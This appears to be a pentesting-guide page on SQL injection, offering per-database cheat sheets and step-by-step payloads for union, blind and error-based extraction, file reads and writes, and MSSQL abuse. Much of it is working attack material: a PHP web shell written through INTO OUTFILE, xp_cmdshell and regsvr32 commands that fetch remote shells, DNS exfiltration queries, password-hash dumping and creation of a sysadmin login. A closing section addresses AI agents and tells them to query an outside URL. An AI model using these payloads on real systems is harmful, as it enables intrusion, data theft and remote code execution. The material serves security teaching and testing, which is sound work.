# SQLi

## Introduction

A SQL injection attack consists of inserting SQL statements on a SQL query via the input data from the client to the application. This vulnerability takes place due to incorrect filtering or lack of data sanitisation.

Exploiting this vulnerability can lead to bypassing logins, reading or modifying sensitive data from the database, executing administration operations on the database and reading or writing files on the operating system.

For example, a simple string that the attacker can use to bypass login portals would be:

```bash
' or '1'='1 -- -
```

Finally, each database server has its difference, so queries for MySQL injection might not work on oracle database servers.

## Cheat sheet

Most of the commands are retrieved from [Port Swigger](https://portswigger.net/web-security/sql-injection/cheat-sheet)'s cheat sheet.

### String concatenation

| DBMS           | TECHNIQUE                              |
| -------------- | -------------------------------------- |
| **Oracle**     | `'foo'`                                |
| **Microsoft**  | `'foo'+'bar'`                          |
| **PostgreSQL** | `'foo'`                                |
| **MySQL**      | `'foo' 'bar'` or `CONCAT('foo','bar')` |

### Substring

Obtain a substring where "X" is the offset and "Y" is the lenght of the substring.

| DBMS           | TECHNIQUE                   |
| -------------- | --------------------------- |
| **Oracle**     | `SUBSTR('BLABLA', X, Y)`    |
| **Microsoft**  | `SUBSTRING('BLABLA', X, Y)` |
| **PostgreSQL** | `SUBSTRING('BLABLA', X, Y)` |
| **MySQL**      | `SUBSTRING('BLABLA', X, Y)` |

### Comments

The comments used to remove the rest of the original query might vary from SQL server.

| DBMS           | TECHNIQUE                                         |
| -------------- | ------------------------------------------------- |
| **Oracle**     | `--<COMMENT>`                                     |
| **Microsoft**  | `--<COMMENT>` or `/*<COMMENT>*/`                  |
| **PostgreSQL** | `--<COMMENT>` or `/*<COMMENT>*/`                  |
| **MySQL**      | `#<COMMENT>` or `-- <COMMENT>` or `/*<COMMENT>*/` |

### Obtain database version

| DBMS           | TECHNIQUE                                                    |
| -------------- | ------------------------------------------------------------ |
| **Oracle**     | `SELECT banner FROM v$versionSELECT version FROM v$instance` |
| **Microsoft**  | `SELECT @@version`                                           |
| **PostgreSQL** | `SELECT version()`                                           |
| **MySQL**      | `SELECT @@version`                                           |

### Database content

#### Oracle

```sql
# DATABASES
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
# TABLES
SELECT TABLE_NAME[,owner] FROM all_tables
# COLUMNS
SELECT COLUMN_NAME FROM all_tab_columns WHERE table_name = '<TABLE_NAME>' [and owner = '<OWNER>'];
# DATA
SELECT * FROM <TABLE> 
```

#### Microsoft

```sql
# OBTAIN DBMS users
SELECT name, password FROM master.sys.sysusers;
SELECT name, password_hash FROM master.sys.sql_logins-- # Sometimes casting is needed master.dbo.fn_varbintohexstr(password_hash)

# DATABASES
SELECT name FROM master..sysdatabases

# TABLES
SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES

# COLUMNS
SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'

# DATA
SELECT * FROM <DATABASE>.dbo.<TABLE_NAME>
```

#### PostgresSQL

```sql
# DATABASE
SELECT datname FROM pg_database
# TABLES
SELECT table_name FROM information_schema.tables 
# COLUMNS
SELECT column_name  FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'
```

#### MySQL

```
# DATABASES
SELECT schema_name FROM information_schema.schemata;
# TABLES
SELECT table_name FROM information_schema.tables WHERE table_schema = '<DATABASE>'
# COLUMNS
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'
```

### Conditional errors

If you want to perform error-based attacks, a database error is produced if the condition is true.

| DBMS           | TECHNIQUE                                                                                 |
| -------------- | ----------------------------------------------------------------------------------------- |
| **Oracle**     | `SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`      |
| **Microsoft**  | `SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN 1/0 ELSE NULL END`                         |
| **PostgreSQL** | `1 = (SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN CAST(1/0 AS INTEGER) ELSE NULL END)`  |
| **MySQL**      | `SELECT IF(<YOUR-CONDITION-HERE>,(SELECT table_name FROM information_schema.tables),'a')` |

### Stacked queries

Some DBMS do not allow performing several queries on the same stamement.

| DBMS           | TECHNIQUE                         |
| -------------- | --------------------------------- |
| **Oracle**     | Does not support batched queries. |
| **Microsoft**  | `<QUERY_1>; <QUERY_2>`            |
| **PostgreSQL** | `<QUERY_1>; <QUERY_2>`            |
| **MySQL**      | `<QUERY_1>; <QUERY_2>`            |

### Time delays

This set of functions can be used to perform Time-based attacks in seconds.

| DBMS           | TECHNIQUE                             |
| -------------- | ------------------------------------- |
| **Oracle**     | `dbms_pipe.receive_message(('a'),10)` |
| **Microsoft**  | `WAITFOR DELAY '0:0:10'`              |
| **PostgreSQL** | `SELECT pg_sleep(10)`                 |
| **MySQL**      | `SELECT SLEEP(10)`                    |

### Conditional time delays

| DBMS           | TECHNIQUE                                                                            |
| -------------- | ------------------------------------------------------------------------------------ |
| **Oracle**     | `SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual` |
| **Microsoft**  | `IF (<YOUR-CONDITION-HERE>) WAITFOR DELAY '0:0:10'`                                  |
| **PostgreSQL** | `SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN pg_sleep(10) ELSE pg_sleep(0) END`    |
| **MySQL**      | `SELECT IF(<YOUR-CONDITION-HERE>,SLEEP(10),'a')`                                     |

### DNS lookup

| DBMS       | TECHNIQUE                                                                                                                                                                  |
| ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Oracle     | The following technique works on fully patched Oracle installations, but requires elevated privileges: `SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')` |
| Microsoft  | `exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'`                                                                                                                |
| PostgreSQL | `copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'`                                                                                                       |
| MySQL      | The following techniques work on Windows only: `LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP_COLLABORATOR>\a'`                        |

### Data exfiltration

#### **Oracle**

None

#### **Microsoft**

```sql
declare @p varchar(1024);set @p=(SELECT <QUERY>);exec('master..xp_dirtree "//'+@p+'.<BURP-COLLABORATOR>/a"')
```

#### **PostgreSQL**

```sql
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (<QUERY>);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.<BURP-COLLABORATOR>''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

#### **Mysql**

Works only on Windows:

```sql
SELECT <QUERY> INTO OUTFILE '\\\\<BURP-COLLABORATOR>\a'
```

## MySQL

### Union

1\. First, it is necessary to know how many columns compose the query's result. To do so, you have to increment the *select* values.

```sql
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,5,6,7
```

Alternatively, you can use `order by X`, where X is the index by which to order.

```sql
http://example.c/debug.php?id=1 order by 3
```

2\. Identify the database, the user and its privileges.

```sql
# Database V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(SCHEMA_NAME,":") from information_schema.schemata),6
# Database V2
' UNION SELECT NULL, user(), database() --
# Privileges
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges--
```

3\. Get the tables of a database.

```sql
# V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":") from information_schema.TABLES where TABLE_SCHEMA = 'mysql'),6,7 
# V2
' UNION SELECT NULL, NULL , TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='db' --
```

4\. Get the columns of the table.

```sql
# V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":",COLUMN_NAME,"\r\n") from information_schema.COLUMNS where TABLE_SCHEMA = 'mysql'),6,7 
# V2
http://192.168.157.10/debug.php?id=1 union select 1,3,column_name FROM INFORMATION_SCHEMA.columns where table_name = 'users'
# V3
' UNION SELECT NULL, NULL ,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='wp_users'--
```

5\. Get the data of each column.

```sql
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(host,":",user,":",password,"\r\n") from mysql.user),6,7
' UNION SELECT NULL, NULL ,password FROM wp_users --
```

### Blind

1. Discover if it is vulnerable.

```sql
Iron Man' and '1'='1' # True: Return the movie
Iron Man' and '1'='2' # False: Does not return anything
```

2\. Know the length of the string.

```
Iron Man' and length(database())=1
```

3\. Get the name of the database, where **X** indicates the value to be returned.

```
Iron Man' and hex(substring(database(),X,1))=hex('H')
```

4\. Get the number of tables.

```sql
Iron Man' and (SELECT count(*) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp')<5;
```

5\. Get the name of each table, where **X** indicates the table and **Y** the character of the table's name.

```sql
Iron Man' and hex(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp' LIMIT X,1),Y,1))<hex('z');#
```

6\. Get the number of columns in the table.

```sql
Iron Man' and (SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies')=7;
```

7\. Get the name of the columns, where **X** indicates the column and **Y** is the character of the column's title.

```sql
Iron Man' and SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies' LIMIT X,1),Y,1)='I';
```

8\. Get the length and content of each value in the column, where **X** indicates the column's value and **Y** is the character of that value.

```sql
# Length
Iron Man' and (SELECT CHAR_LENGTH(login) FROM users LIMIT X,1)='3';
# Value
Iron Man' and hex(substring((SELECT password FROM users LIMIT X,1),Y,1))=hex('6');
```

### Read Files

Because the contents of a file can be appended to the result of a query, we can retrieve data from the file system.

```
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(TO_BASE64(LOAD_FILE('/etc/passwd'))),6,7
```

#### SQLMap

```bash
sqlmap http://example.com/room.php?cod=1 --file-read=/xampp/htdocs/index.php
```

### Write Files

Check if the database user has file privileges.

```sql
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges--
```

If the user has file privileges, the attacker can create files on the system.

```sql
2 UNION SELECT convert("1" USING binary),convert("1" USING binary),convert("1" USING binary), convert("<?php echo system(system($_GET['cmd']));?>" USING binary),convert("1" USING binary) into OUTFILE "C:\\xampp\\htdocs\\dashboard\\shell.php"
```

#### SQLMap

```bash
sqlmap http://example.com/room.php?cod=1 --file-write=/root/Desktop/shell.php --file-dest=/xampp/htdocs/shell.php 
```

## Oracle (Union)

1. Get the number of columns for the query result.

   **Note**: Oracle queries required FROM statement; this can be fulfilled by using dual DB

```sql
' UNION SELECT null, null, null from dual--
```

2\. Get table names.

```sql
' UNION SELECT table_name,null,null from all_tables--
```

3\. Get columns from the table.

```sql
' UNION SELECT column_name,null,null from all_tab_columns where table_name='WEB_ADMINS'--
```

## Mssql

### Union

If you want to retrieve the DBMS credentials, perform the following queries..

<pre class="language-sql"><code class="lang-sql"><strong>' UNION SELECT name, password FROM master.sys.sysusers; -- -
</strong>' UNION SELECT name, password_hash FROM master.sys.sql_logins-- -
# Sometimes casting is needed
master.dbo.fn_varbintohexstr(password_hash)
</code></pre>

1\. Obtain databases.

```sql
' UNION SELECT name,NULL FROM master ..sysdatabases--
```

2\. Get the database tables.

```sql
' UNION SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES--
```

3\. Obtain columns from the table

```sql
' UNION SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'--
```

4\. Retrieve data from the table.

```sql
' UNION SELECT password FROM <DATABASE>.dbo.<TABLE_NAME>--
```

**Note 1**: In order to concatenate two columns into one select query, use the function `CONCAT(username,":",password)`.

**Note 2**: If you want to retrieve N rows, use: `SELECT TOP N username ...`.

### Error based

1\. You need to understand why the error is popping up, so you can create a query without mistakes. For example, missing ";", ")" or keywords. 2. Get the DB version

```sql
', CONVERT(INT,@@version))-- 
```

3\. Get the database, where **X** is the id of the database you want to extract.

```sql
',CONVERT(INT,db_name(X)))-- 
```

4\. Get the table.

```sql
',CONVERT(INT,(SELECT top 1 TABLE_NAME FROM archive.information_schema.TABLES)))--  
```

5\. Obtain the first column (id).

```sql
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager')))-- 
```

6\. Obtain the second column ("alogin").

```sql
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager'  AND column_name NOT IN ('id'))))-- 
```

7\. Obtain the third column ("psw").

```sql
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager' and column_name NOT IN ('id','alogin') )))-- 
```

8\. Get the users and passwords (Iterative process).

```bash
',CONVERT(INT,(SELECT top 1 alogin FROM archive.dbo.pmanager where alogin not in ('ftpadmin','webadmin','administrator','user') order by id)))--
```

### System Information

* **Database version**:

```sql
SELECT @@version;
```

* **Database name**:

```sql
SELECT DB_NAME();
```

* **Server name**:

```sql
SELECT @@SERVERNAME;
```

* **Server's IP Address**:

```sql
SELECT dec.local_net_address FROM sys.dm_exec_connections AS dec WHERE dec.session_id = @@SPID;
```

### User Unformation

* **System user**:

```sql
SELECT SYSTEM_USER;
```

* **Database username**:

```sql
SELECT USER_NAME();
SELECT current_user;
```

* **Is a member of public role**:

```sql
SELECT IS_SRVROLEMEMBER('public');
```

* **Is a member of sysadmin role**:

```sql
SELECT IS_SRVROLEMEMBER('sysadmin');
```

* **Users that can be impersonated**:

```sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
```

* **Authentication logins**:

> :information\_source:It can be used to CRACK the password of the users with responder & hashcat (`hashcat -m 1731 <HASHLIST> <WORDLIST>`)or to IMPERSONATE LOGIN them.
>
> :information\_source: You must be DB Administrator to impersonate them.

```sql
SELECT name, password_hash FROM master.sys.sql_logins
```

* **Impersonate a user**:

```sql
EXECUTE AS LOGIN = 'sa';
EXECUTE AS [USER|LOGIN] = 'user2'; 
```

* **Create an account**:

```sql
# Create an account
sp_addlogin 'pentest','abc123!'
# Add account to sysadmin
sp_addsrvrolemember 'pentest','sysadmin'
```

### File System Information

* **Enumerate system folders / NTLM Relay Attack / Crack NTLM**

```sql
EXEC master..xp_dirtree "\\10.10.10.4\test\a";
EXEC xp_dirtree '<FOLDER_PATH>', 2, 1
```

* **Read system file**:

<pre class="language-sql"><code class="lang-sql"><strong># Alternative 1
</strong><strong>SELECT CONVERT(NVARCHAR(MAX), CONVERT(VARBINARY(MAX), BulkColumn), 1) 
</strong>FROM OpenRowset(BULK 'C:\inetpub\wwwroot\search.asp', SINGLE_CLOB) AS content

# Alternative 2
SELECT * FROM OPENROWSET(BULK 'C:\\Users\\', SINGLE_CLOB) AS Contents;
</code></pre>

### Command execution

#### xp\_cmdshell

If you log in as `as sa` (administrator), you can enable **command execution**.

```bash
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
```

Then, you can execute commands as follows.

**Note**: Do not forget to escape the inverted commas.

```bash
'EXEC master.dbo.xp_cmdshell 'powershell "IEX(New-Object Net.WebClient).downloadString(\"<http://</Utilities/Revshells/shell.ps1\")">';
```

sp\_OACreate

* **Enable code execution**:

```sql
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
```

* **Execute commands**:

```sql
DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, '<COMMAND>'
```

### Linked Services

* **Enumerate linked services**:

```sql
# Alternative 1
EXEC sp_linkedservers;

# Alternative 2
SELECT * FROM sys.servers;
SELECT name, product, data_source, is_linked, is_remote_login_enabled, is_rpc_out_enabled, is_data_access_enabled, is_collation_compatible, uses_remote_collation, is_system, is_remote_proc_transaction_promotion_enabled,  is_rda_server FROM sys.servers;
```

* **Execute commands on linked server (EXEC & AT)**:

> :information\_source: The `[]` are necessary so you can perform queries to servers outside the main domain.

```sql
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; ') AT [DC01.corp2.com];
EXEC ('xp_cmdshell ''<COMMAND>'';') AT DC01;
```

* **Execute on linked server via (openquery)**:

```sql
select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')
select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')
select 1 from openquery(\"dc01\", 'select 1; exec xp_cmdshell ''regsvr32 /s /n /u /i:http://192.168.49.67:8080/F0t6R5A.sct scrobj.dll''')
```

* **Escalate privileges via double database linked**:

```sql
select mylogin from openquery(\"<FIRST_DB>\", 'select mylogin from openquery(\"<SECOND_DB>\", ''select SYSTEM_USER as mylogin'')');
```

* **Configure link server for RPC**:

```sql
EXECUTE as LOGIN = 'sa';EXEC sp_serveroption '<LINKED_SERVICE>', 'rpc out', 'true';
```

## SQLMAP

SQLmap is an automatic tool used to detect and exploit SQL injection flaws. This subsection will teach you how to perform a simple SQL injection with SQLMap.

1. Intercept the request you want to analyse with **BurpSuite**, then store it into a file.

```http
POST /index.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://10.10.203.65
Connection: close
Referer: http://10.10.203.65/
Cookie: PHPSESSID=6f0kqfotc3gcb80ri2c9av37t1
Upgrade-Insecure-Requests: 1

username=admin&password=password&x=25&y=16
```

2\. Get the databases.

```bash
sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 --dbs
```

3\. Get the tables of a database.

```bash
sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 -D db --tables
```

4\. Get the content of that table.

```bash
sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 -D db -T users --dump
```

**Note**: Normally, SQLMap uses time-based techniques, but it can be specified to use union-based techniques with the following parameter `--technique=U`.

**Note1**: To perform posts SQLi attacks through SSL you will need to execute `force-ssl`

## References

* [SQL Injection (OWASP)](https://owasp.org/www-community/attacks/SQL_Injection)
* [SQL Injection (PayloadAllTheThings)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
* [Union Based Oracle Injection](http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html)
* [Exploiting Error Based SQL Injections & Bypassing Restrictions](https://infosecwriteups.com/exploiting-error-based-sql-injections-bypassing-restrictions-ed099623cd94)
* [MSSQL Practical Injection Cheat Sheet](https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/)
* [Cheat Sheet (Port Swigger)](https://portswigger.net/web-security/sql-injection/cheat-sheet)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://the-pentesting-guide.marmeus.com/web/sqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.